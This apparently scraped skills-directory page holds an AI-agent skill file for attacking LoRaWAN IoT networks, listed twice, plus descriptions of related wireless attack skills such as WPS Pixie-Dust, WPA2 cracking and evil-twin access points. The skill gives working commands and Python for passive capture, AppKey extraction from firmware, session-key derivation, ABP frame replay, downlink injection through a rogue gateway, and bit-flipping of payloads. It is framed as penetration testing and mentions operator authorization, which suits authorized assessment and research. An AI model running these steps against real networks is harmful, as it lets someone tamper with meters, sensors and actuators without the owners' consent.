[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFYZXMZXSAVE258Z03PQAW":3,"skill-same:01M7DFYZXMZXSAVE258Z03PQAW":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFYZXMZXSAVE258Z03PQAW","lorawan-otaa",null,"LoRaWAN OTAA join-procedure analysis (DevEUI\u002FAppEUI\u002FAppKey extraction), frame-counter replay on ABP devices, downlink injection via rogue gateway, bit-flipping on unprotected FRMPayload, and network enumeration with ChirpStack and the LoRaWAN Auditing Framework.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Florawan-otaa\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: lorawan-otaa\ndescription: LoRaWAN OTAA join-procedure analysis (DevEUI\u002FAppEUI\u002FAppKey extraction), frame-counter replay on ABP devices, downlink injection via rogue gateway, bit-flipping on unprotected FRMPayload, and network enumeration with ChirpStack and the LoRaWAN Auditing Framework.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: iot\n  when_to_use: LoRaWAN, OTAA, ABP, AppKey, DevEUI, AppEUI, JoinEUI, frame counter, replay, downlink injection, ChirpStack, LoRa, LoRaWAN auditing framework, gateway, bit flip, ABP replay\n  tags: lorawan, otaa, abp, lora, iot, replay, downlink, chirpstack, iot-embedded\n  mitre_attack: T1040, T1557, T1190, T1499.004\n---\n\n# LoRaWAN OTAA \u002F ABP Security Assessment\n\n> LoRaWAN is deployed globally for smart meters, asset tracking, agriculture,\n> and industrial sensors. OTAA (Over-The-Air Activation) derives session keys\n> per join; ABP (Activation By Personalization) hardcodes them. Both have\n> documented attack surface: OTAA AppKeys are often extracted from the device\n> firmware or exposed via insecure provisioning, and ABP devices commonly\n> disable the frame-counter check, enabling full replay.\n\n## Prerequisites\n\n- **Hardware**: LILYGO TTGO T-Beam (SX1276 + GPS, programmable SDR-LoRa node),\n  RAK831 \u002F RAK2247 gateway concentrator, or HackRF One with gr-lora.\n  RTL-SDR is receive-only (works for capture on EU 868 MHz).\n- **Software**: ChirpStack (rogue gateway NS), `lorawansniffer` \u002F `gr-lora`,\n  LoRaWAN Auditing Framework (LAF), Scapy-LoRa, `lorawan-parser`.\n\n```bash\n# Install LoRaWAN Auditing Framework:\ngit clone https:\u002F\u002Fgithub.com\u002FIOActive\u002Flaf\ncd laf && pip install -r requirements.txt\n\n# Install gr-lora (GNU Radio LoRa decoder):\ngit clone https:\u002F\u002Fgithub.com\u002Frpp0\u002Fgr-lora\ncd gr-lora && mkdir build && cd build && cmake .. && make && sudo make install\n\n# lorawan-parser for offline frame analysis:\npip install lorawan-parser\n```\n\n## LoRaWAN Frequency Reference\n\n| Region | Uplink (MHz) | Downlink (MHz) | Spreading Factors |\n|---|---|---|---|\n| EU868 | 868.1, 868.3, 868.5 | 869.525 | SF7–SF12 |\n| US915 | 902.3–914.9 (8 ch) | 923.3–927.5 | SF7–SF10 |\n| AU915 | 915.2–927.8 | 923.3–927.5 | SF7–SF12 |\n| AS923 | 923.2, 923.4 | 923.2, 923.4 | SF7–SF12 |\n\n## Phase 1: Passive Air Capture\n\n```bash\n# RTL-SDR capture on EU868 primary channel, SF7 (fastest, most common):\nrtl_sdr -f 868100000 -s 1000000 -g 40 \u002Ftmp\u002Flora_raw.iq\n\n# Decode with gr-lora offline:\npython3 gr-lora\u002Fapps\u002Frx_file.py --freq 868.1e6 --sf 7 --bw 125000 \\\n    --input \u002Ftmp\u002Flora_raw.iq --output \u002Ftmp\u002Flora_frames.txt\n\n# Online decode with TTGO T-Beam running LoRa sniffer firmware:\n# Flash: https:\u002F\u002Fgithub.com\u002Fclaudiodangelis\u002Flora-sniffer\n# Serial output at 115200:\nscreen \u002Fdev\u002FttyUSB0 115200\n```\n\nLAF spectrum scan (scans all EU868 channels across SF7-SF12):\n\n```bash\npython3 laf\u002Flaf.py scan --freq 868.1,868.3,868.5 --sf all --bw 125 \\\n    --device \u002Fdev\u002FttyACM0 | tee \u002Ftmp\u002Flaf_scan.txt\n```\n\n## Phase 2: OTAA Join Analysis\n\nOTAA JoinRequest contains **DevEUI** (8 bytes), **AppEUI\u002FJoinEUI** (8 bytes),\nand DevNonce (2 bytes), all in plaintext. Only the **MIC** is keyed with AppKey.\n\n```bash\n# Parse a captured JoinRequest frame:\npython3 - \u003C\u003C'EOF'\nfrom lorawan import LoRaWANMessage\n# hex of a raw captured PHY payload:\npayload_hex = \"00AABBCCDDEEFF001122334455667701234501\"\nmsg = LoRaWANMessage.from_hex(payload_hex)\nprint(f\"MType: {msg.mhdr.mtype}\")\nprint(f\"AppEUI: {msg.join_request.app_eui.hex()}\")\nprint(f\"DevEUI: {msg.join_request.dev_eui.hex()}\")\nprint(f\"DevNonce: {msg.join_request.dev_nonce.hex()}\")\nEOF\n```\n\nAppKey extraction from firmware (if binary is available):\n\n```bash\n# binwalk extracts the firmware; AppKey is a 16-byte value near DevEUI in flash.\nbinwalk -eM firmware.bin\n# Search for DevEUI (known from OTA capture) ± 32 bytes:\npython3 - \u003C\u003C'EOF'\nimport re, sys\ndev_eui = bytes.fromhex(\"AABBCCDDEEFF0011\")  # from captured JoinRequest\nfw = open(\"_firmware.bin.extracted\u002F0.bin\", \"rb\").read()\noffset = fw.find(dev_eui)\nif offset >= 0:\n    print(f\"DevEUI at 0x{offset:08x}\")\n    print(f\"Surrounding 48 bytes: {fw[offset-16:offset+32].hex()}\")\n    # AppKey is likely 16 bytes before or after DevEUI in the provisioning struct.\nEOF\n```\n\n## Phase 3: AppKey Brute-Force \u002F Known-Key Verification\n\nWith a known AppKey, verify and derive session keys:\n\n```python\nimport hmac, hashlib\nfrom Crypto.Cipher import AES\n\nAPP_KEY = bytes.fromhex(\"2B7E151628AED2A6ABF7158809CF4F3C\")  # known\u002Fextracted key\n\ndef verify_join_request_mic(phypayload: bytes, app_key: bytes) -> bool:\n    \"\"\"Verify MIC of LoRaWAN JoinRequest. MIC = CMAC(AppKey, MHDR||AppEUI||DevEUI||DevNonce)[0:4]\"\"\"\n    from Crypto.Hash import CMAC\n    msg = phypayload[:-4]  # strip 4-byte MIC\n    claimed_mic = phypayload[-4:]\n    cobj = CMAC.new(app_key, ciphermod=AES)\n    cobj.update(msg)\n    return cobj.digest()[:4] == claimed_mic\n\ndef derive_session_keys(app_key: bytes, app_nonce: bytes, net_id: bytes, dev_nonce: bytes):\n    \"\"\"Derive NwkSKey and AppSKey from OTAA join-accept parameters.\"\"\"\n    def aes_ecb(key, data):\n        return AES.new(key, AES.MODE_ECB).encrypt(data)\n    nwk_s_key = aes_ecb(app_key, b'\\x01' + app_nonce + net_id + dev_nonce + b'\\x00'*7)\n    app_s_key = aes_ecb(app_key, b'\\x02' + app_nonce + net_id + dev_nonce + b'\\x00'*7)\n    return nwk_s_key, app_s_key\n```\n\n## Phase 4: ABP Replay (Frame-Counter Disabled)\n\nABP devices that disable frame-counter replay protection (`FCnt` check = off)\nwill process any replayed uplink frame:\n\n```bash\n# LAF replay module — replay a captured uplink to the same gateway:\npython3 laf\u002Flaf.py replay \\\n    --payload \u003Ccaptured_phypayload_hex> \\\n    --freq 868.1 --sf 7 --bw 125 \\\n    --device \u002Fdev\u002FttyACM0 \\\n    --count 5  # send 5 times to ensure reception\n\n# The NS will process duplicate frames with identical FCnt if check is disabled.\n```\n\nDetect FCnt check status:\n- If the NS accepts two frames with the same FCnt → check is disabled.\n- Send an older FCnt (FCnt-1) — if accepted, ABP FCnt is not enforced.\n\n## Phase 5: Downlink Injection via Rogue Gateway\n\nSet up a ChirpStack rogue gateway to inject downlinks to a device whose\nAppSKey is known (from extracted firmware or OTAA with known AppKey):\n\n```bash\n# 1. Stand up ChirpStack Network Server (docker-compose):\ngit clone https:\u002F\u002Fgithub.com\u002Fbrocaar\u002Fchirpstack-docker\ncd chirpstack-docker && docker-compose up -d\n\n# 2. Register a gateway pointing to your TTGO\u002FRAK concentrator.\n# 3. Register the target device (DevEUI, AppKey from extraction).\n# 4. Use ChirpStack API to enqueue a downlink:\ncurl -s -X POST \"http:\u002F\u002Flocalhost:8080\u002Fapi\u002Fdevices\u002F${DEV_EUI}\u002Fqueue\" \\\n  -H \"Grpc-Metadata-Authorization: Bearer ${JWT_TOKEN}\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"deviceQueueItem\": {\"confirmed\": false, \"fPort\": 1, \"data\": \"AQIDBA==\"}}'\n```\n\nCraft raw downlink with known AppSKey (ABP or derived from OTAA):\n\n```python\nfrom Crypto.Cipher import AES\n\ndef encrypt_frmpayload(app_s_key: bytes, dev_addr: bytes, fcnt: int,\n                        direction: int, plaintext: bytes) -> bytes:\n    \"\"\"LoRaWAN AES-128-CTR FRMPayload encryption.\"\"\"\n    k = len(plaintext)\n    blocks = (k + 15) \u002F\u002F 16\n    s = b\"\"\n    for i in range(1, blocks + 1):\n        ai = (b'\\x01' + b'\\x00'*4 + bytes([direction]) +\n              dev_addr[::-1] +                # little-endian\n              fcnt.to_bytes(4, 'little') +\n              b'\\x00' + bytes([i]))\n        s += AES.new(app_s_key, AES.MODE_ECB).encrypt(ai)\n    return bytes(a ^ b for a, b in zip(plaintext, s[:k]))\n```\n\n## Phase 6: Bit-Flip Attack on Unconfirmed Uplinks (ABP, no MIC validation)\n\nWhen ABP NwkSKey is known, craft MIC for a bit-flipped FRMPayload to alter\nplaintext content (e.g., sensor reading reported to cloud):\n\n```python\n# Flip a specific bit in the ciphertext → predictable plaintext change.\n# Only viable if the application layer does not validate message integrity\n# beyond LoRaWAN MIC (which the attacker can recalculate with NwkSKey).\n# This is documented in Toothpick \u002F LoRaWAN security analysis papers.\nciphertext = bytearray(encrypted_payload)\nciphertext[TARGET_BYTE] ^= FLIP_MASK\n# Recalculate MIC with NwkSKey and submit via rogue gateway.\n```\n\n## Evidence\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Florawan-otaa\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\ncp \u002Ftmp\u002Flora_frames.txt \"$EVIDENCE\u002F\"\ncp \u002Ftmp\u002Flaf_scan.txt \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\"\u002F* >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\n```python\nkg_record(\n    '[{\"kind\": \"Finding\", \"key\": f\"lorawan-otaa::{dev_eui_hex}\",'\n    '  \"label\": f\"LoRaWAN AppKey extracted for DevEUI={dev_eui_hex}\",'\n    '  \"props\": {\"dev_eui\": dev_eui_hex,'\n    '            \"app_eui\": app_eui_hex,'\n    '            \"app_key\": app_key_hex,'\n    '            \"abp_fcnt_disabled\": abp_fcnt_disabled,'\n    '            \"source\": \"firmware-extraction+laf\"}}]'\n)\n```\n\n## OPSEC Notes\n\n- OTAA capture is passive — no RF emission. RTL-SDR or TTGO sniffer only.\n- Replaying to a live NS will generate real device state changes (actuators,\n  alarms). Gate replay tests on explicit operator authorization.\n- A rogue gateway is detectable by the NS if geo-location of the gateway IP\n  differs from the registered GPS position.\n- LoRaWAN 1.1 adds replay protection and frame-counter synchronization that\n  mitigates ABP replay; verify spec version before testing.\n- Downlink injection affects device behavior (firmware OTA possible on some\n  devices via downlink commands). Treat as destructive.\n\n## References\n\n- LoRaWAN Auditing Framework (LAF): https:\u002F\u002Fgithub.com\u002FIOActive\u002Flaf\n- ChirpStack: https:\u002F\u002Fwww.chirpstack.io\n- gr-lora: https:\u002F\u002Fgithub.com\u002Frpp0\u002Fgr-lora\n- Butun et al. \"Security of LoRaWAN v1.1\" (2019) — frame-counter and replay analysis.\n- Toothpick: LoRaWAN downlink injection PoC (DEF CON 27).\n","# LoRaWAN OTAA \u002F ABP Security Assessment\n\n> LoRaWAN is deployed globally for smart meters, asset tracking, agriculture,\n> and industrial sensors. OTAA (Over-The-Air Activation) derives session keys\n> per join; ABP (Activation By Personalization) hardcodes them. Both have\n> documented attack surface: OTAA AppKeys are often extracted from the device\n> firmware or exposed via insecure provisioning, and ABP devices commonly\n> disable the frame-counter check, enabling full replay.\n\n## Prerequisites\n\n- **Hardware**: LILYGO TTGO T-Beam (SX1276 + GPS, programmable SDR-LoRa node),\n  RAK831 \u002F RAK2247 gateway concentrator, or HackRF One with gr-lora.\n  RTL-SDR is receive-only (works for capture on EU 868 MHz).\n- **Software**: ChirpStack (rogue gateway NS), `lorawansniffer` \u002F `gr-lora`,\n  LoRaWAN Auditing Framework (LAF), Scapy-LoRa, `lorawan-parser`.\n\n```bash\n# Install LoRaWAN Auditing Framework:\ngit clone https:\u002F\u002Fgithub.com\u002FIOActive\u002Flaf\ncd laf && pip install -r requirements.txt\n\n# Install gr-lora (GNU Radio LoRa decoder):\ngit clone https:\u002F\u002Fgithub.com\u002Frpp0\u002Fgr-lora\ncd gr-lora && mkdir build && cd build && cmake .. && make && sudo make install\n\n# lorawan-parser for offline frame analysis:\npip install lorawan-parser\n```\n\n## LoRaWAN Frequency Reference\n\n| Region | Uplink (MHz) | Downlink (MHz) | Spreading Factors |\n|---|---|---|---|\n| EU868 | 868.1, 868.3, 868.5 | 869.525 | SF7–SF12 |\n| US915 | 902.3–914.9 (8 ch) | 923.3–927.5 | SF7–SF10 |\n| AU915 | 915.2–927.8 | 923.3–927.5 | SF7–SF12 |\n| AS923 | 923.2, 923.4 | 923.2, 923.4 | SF7–SF12 |\n\n## Phase 1: Passive Air Capture\n\n```bash\n# RTL-SDR capture on EU868 primary channel, SF7 (fastest, most common):\nrtl_sdr -f 868100000 -s 1000000 -g 40 \u002Ftmp\u002Flora_raw.iq\n\n# Decode with gr-lora offline:\npython3 gr-lora\u002Fapps\u002Frx_file.py --freq 868.1e6 --sf 7 --bw 125000 \\\n    --input \u002Ftmp\u002Flora_raw.iq --output \u002Ftmp\u002Flora_frames.txt\n\n# Online decode with TTGO T-Beam running LoRa sniffer firmware:\n# Flash: https:\u002F\u002Fgithub.com\u002Fclaudiodangelis\u002Flora-sniffer\n# Serial output at 115200:\nscreen \u002Fdev\u002FttyUSB0 115200\n```\n\nLAF spectrum scan (scans all EU868 channels across SF7-SF12):\n\n```bash\npython3 laf\u002Flaf.py scan --freq 868.1,868.3,868.5 --sf all --bw 125 \\\n    --device \u002Fdev\u002FttyACM0 | tee \u002Ftmp\u002Flaf_scan.txt\n```\n\n## Phase 2: OTAA Join Analysis\n\nOTAA JoinRequest contains **DevEUI** (8 bytes), **AppEUI\u002FJoinEUI** (8 bytes),\nand DevNonce (2 bytes), all in plaintext. Only the **MIC** is keyed with AppKey.\n\n```bash\n# Parse a captured JoinRequest frame:\npython3 - \u003C\u003C'EOF'\nfrom lorawan import LoRaWANMessage\n# hex of a raw captured PHY payload:\npayload_hex = \"00AABBCCDDEEFF001122334455667701234501\"\nmsg = LoRaWANMessage.from_hex(payload_hex)\nprint(f\"MType: {msg.mhdr.mtype}\")\nprint(f\"AppEUI: {msg.join_request.app_eui.hex()}\")\nprint(f\"DevEUI: {msg.join_request.dev_eui.hex()}\")\nprint(f\"DevNonce: {msg.join_request.dev_nonce.hex()}\")\nEOF\n```\n\nAppKey extraction from firmware (if binary is available):\n\n```bash\n# binwalk extracts the firmware; AppKey is a 16-byte value near DevEUI in flash.\nbinwalk -eM firmware.bin\n# Search for DevEUI (known from OTA capture) ± 32 bytes:\npython3 - \u003C\u003C'EOF'\nimport re, sys\ndev_eui = bytes.fromhex(\"AABBCCDDEEFF0011\")  # from captured JoinRequest\nfw = open(\"_firmware.bin.extracted\u002F0.bin\", \"rb\").read()\noffset = fw.find(dev_eui)\nif offset >= 0:\n    print(f\"DevEUI at 0x{offset:08x}\")\n    print(f\"Surrounding 48 bytes: {fw[offset-16:offset+32].hex()}\")\n    # AppKey is likely 16 bytes before or after DevEUI in the provisioning struct.\nEOF\n```\n\n## Phase 3: AppKey Brute-Force \u002F Known-Key Verification\n\nWith a known AppKey, verify and derive session keys:\n\n```python\nimport hmac, hashlib\nfrom Crypto.Cipher import AES\n\nAPP_KEY = bytes.fromhex(\"2B7E151628AED2A6ABF7158809CF4F3C\")  # known\u002Fextracted key\n\ndef verify_join_request_mic(phypayload: bytes, app_key: bytes) -> bool:\n    \"\"\"Verify MIC of LoRaWAN JoinRequest. MIC = CMAC(AppKey, MHDR||AppEUI||DevEUI||DevNonce)[0:4]\"\"\"\n    from Crypto.Hash import CMAC\n    msg = phypayload[:-4]  # strip 4-byte MIC\n    claimed_mic = phypayload[-4:]\n    cobj = CMAC.new(app_key, ciphermod=AES)\n    cobj.update(msg)\n    return cobj.digest()[:4] == claimed_mic\n\ndef derive_session_keys(app_key: bytes, app_nonce: bytes, net_id: bytes, dev_nonce: bytes):\n    \"\"\"Derive NwkSKey and AppSKey from OTAA join-accept parameters.\"\"\"\n    def aes_ecb(key, data):\n        return AES.new(key, AES.MODE_ECB).encrypt(data)\n    nwk_s_key = aes_ecb(app_key, b'\\x01' + app_nonce + net_id + dev_nonce + b'\\x00'*7)\n    app_s_key = aes_ecb(app_key, b'\\x02' + app_nonce + net_id + dev_nonce + b'\\x00'*7)\n    return nwk_s_key, app_s_key\n```\n\n## Phase 4: ABP Replay (Frame-Counter Disabled)\n\nABP devices that disable frame-counter replay protection (`FCnt` check = off)\nwill process any replayed uplink frame:\n\n```bash\n# LAF replay module — replay a captured uplink to the same gateway:\npython3 laf\u002Flaf.py replay \\\n    --payload \u003Ccaptured_phypayload_hex> \\\n    --freq 868.1 --sf 7 --bw 125 \\\n    --device \u002Fdev\u002FttyACM0 \\\n    --count 5  # send 5 times to ensure reception\n\n# The NS will process duplicate frames with identical FCnt if check is disabled.\n```\n\nDetect FCnt check status:\n- If the NS accepts two frames with the same FCnt → check is disabled.\n- Send an older FCnt (FCnt-1) — if accepted, ABP FCnt is not enforced.\n\n## Phase 5: Downlink Injection via Rogue Gateway\n\nSet up a ChirpStack rogue gateway to inject downlinks to a device whose\nAppSKey is known (from extracted firmware or OTAA with known AppKey):\n\n```bash\n# 1. Stand up ChirpStack Network Server (docker-compose):\ngit clone https:\u002F\u002Fgithub.com\u002Fbrocaar\u002Fchirpstack-docker\ncd chirpstack-docker && docker-compose up -d\n\n# 2. Register a gateway pointing to your TTGO\u002FRAK concentrator.\n# 3. Register the target device (DevEUI, AppKey from extraction).\n# 4. Use ChirpStack API to enqueue a downlink:\ncurl -s -X POST \"http:\u002F\u002Flocalhost:8080\u002Fapi\u002Fdevices\u002F${DEV_EUI}\u002Fqueue\" \\\n  -H \"Grpc-Metadata-Authorization: Bearer ${JWT_TOKEN}\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"deviceQueueItem\": {\"confirmed\": false, \"fPort\": 1, \"data\": \"AQIDBA==\"}}'\n```\n\nCraft raw downlink with known AppSKey (ABP or derived from OTAA):\n\n```python\nfrom Crypto.Cipher import AES\n\ndef encrypt_frmpayload(app_s_key: bytes, dev_addr: bytes, fcnt: int,\n                        direction: int, plaintext: bytes) -> bytes:\n    \"\"\"LoRaWAN AES-128-CTR FRMPayload encryption.\"\"\"\n    k = len(plaintext)\n    blocks = (k + 15) \u002F\u002F 16\n    s = b\"\"\n    for i in range(1, blocks + 1):\n        ai = (b'\\x01' + b'\\x00'*4 + bytes([direction]) +\n              dev_addr[::-1] +                # little-endian\n              fcnt.to_bytes(4, 'little') +\n              b'\\x00' + bytes([i]))\n        s += AES.new(app_s_key, AES.MODE_ECB).encrypt(ai)\n    return bytes(a ^ b for a, b in zip(plaintext, s[:k]))\n```\n\n## Phase 6: Bit-Flip Attack on Unconfirmed Uplinks (ABP, no MIC validation)\n\nWhen ABP NwkSKey is known, craft MIC for a bit-flipped FRMPayload to alter\nplaintext content (e.g., sensor reading reported to cloud):\n\n```python\n# Flip a specific bit in the ciphertext → predictable plaintext change.\n# Only viable if the application layer does not validate message integrity\n# beyond LoRaWAN MIC (which the attacker can recalculate with NwkSKey).\n# This is documented in Toothpick \u002F LoRaWAN security analysis papers.\nciphertext = bytearray(encrypted_payload)\nciphertext[TARGET_BYTE] ^= FLIP_MASK\n# Recalculate MIC with NwkSKey and submit via rogue gateway.\n```\n\n## Evidence\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Florawan-otaa\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\ncp \u002Ftmp\u002Flora_frames.txt \"$EVIDENCE\u002F\"\ncp \u002Ftmp\u002Flaf_scan.txt \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\"\u002F* >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\n```python\nkg_record(\n    '[{\"kind\": \"Finding\", \"key\": f\"lorawan-otaa::{dev_eui_hex}\",'\n    '  \"label\": f\"LoRaWAN AppKey extracted for DevEUI={dev_eui_hex}\",'\n    '  \"props\": {\"dev_eui\": dev_eui_hex,'\n    '            \"app_eui\": app_eui_hex,'\n    '            \"app_key\": app_key_hex,'\n    '            \"abp_fcnt_disabled\": abp_fcnt_disabled,'\n    '            \"source\": \"firmware-extraction+laf\"}}]'\n)\n```\n\n## OPSEC Notes\n\n- OTAA capture is passive — no RF emission. RTL-SDR or TTGO sniffer only.\n- Replaying to a live NS will generate real device state changes (actuators,\n  alarms). Gate replay tests on explicit operator authorization.\n- A rogue gateway is detectable by the NS if geo-location of the gateway IP\n  differs from the registered GPS position.\n- LoRaWAN 1.1 adds replay protection and frame-counter synchronization that\n  mitigates ABP replay; verify spec version before testing.\n- Downlink injection affects device behavior (firmware OTA possible on some\n  devices via downlink commands). Treat as destructive.\n\n## References\n\n- LoRaWAN Auditing Framework (LAF): https:\u002F\u002Fgithub.com\u002FIOActive\u002Flaf\n- ChirpStack: https:\u002F\u002Fwww.chirpstack.io\n- gr-lora: https:\u002F\u002Fgithub.com\u002Frpp0\u002Fgr-lora\n- Butun et al. \"Security of LoRaWAN v1.1\" (2019) — frame-counter and replay analysis.\n- Toothpick: LoRaWAN downlink injection PoC (DEF CON 27).\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"lorawan, otaa, abp, lora, iot, replay, downlink, chirpstack, iot-embedded","iot","LoRaWAN, OTAA, ABP, AppKey, DevEUI, AppEUI, JoinEUI, frame counter, replay, downlink injection, ChirpStack, LoRa, LoRaWAN auditing framework, gateway, bit flip, ABP replay","T1040, T1557, T1190, T1499.004","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Florawan-otaa","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill lorawan-otaa",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill lorawan-otaa",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill lorawan-otaa","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Florawan-otaa\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]